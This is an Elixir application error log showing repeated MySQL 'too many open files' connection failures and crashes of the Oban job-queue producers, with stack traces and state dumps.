[Sat Sep  5 22:37:47.004000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:53.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:54.033000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:54.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:58.097000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:37:46.243058Z], limit: 3, uuid: "89b19eaa-1431-4659-9212-7f6a2dde5c0f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.243063Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231599>, refresh_timer: #Reference<0.2525715032.1099169794.236855>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:37:46.241153Z], limit: 5, uuid: "4f57fddb-d098-44eb-a793-c8cd60ff2c3a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.241159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231597>, refresh_timer: #Reference<0.2525715032.1099169794.236821>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:37:46.242895Z], limit: 5, uuid: "46158fd5-da56-4f2e-b885-a5cac6aefc02", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.242900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231598>, refresh_timer: #Reference<0.2525715032.1099169794.236845>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:37:46.239840Z], limit: 50, uuid: "40895e76-a725-4fcb-9aae-87eb8f5bfcbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.239847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231594>, refresh_timer: #Reference<0.2525715032.1068236804.231575>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:37:46.241938Z], limit: 20, uuid: "51405100-6510-43c9-a877-dc9451323ccd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.241943Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231595>, refresh_timer: #Reference<0.2525715032.1099169794.236829>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:37:46.245287Z], limit: 10, uuid: "9c24df79-64d3-4274-bc83-477ce7bd1ea3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:46.245292Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231596>, refresh_timer: #Reference<0.2525715032.1099169794.236887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:59.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:00.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:03.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:04.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:04.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:37:58.240478Z], limit: 3, uuid: "09459439-85bb-48ce-8e6b-3d18952cbb89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.240484Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237137>, refresh_timer: #Reference<0.2525715032.1099169794.237132>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:37:58.240106Z], limit: 50, uuid: "f4fa2a4f-523e-46ff-a23f-8160df11effc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:37:58.240112Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.231973>, refresh_timer: #Reference<0.2525715032.1068236804.231949>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
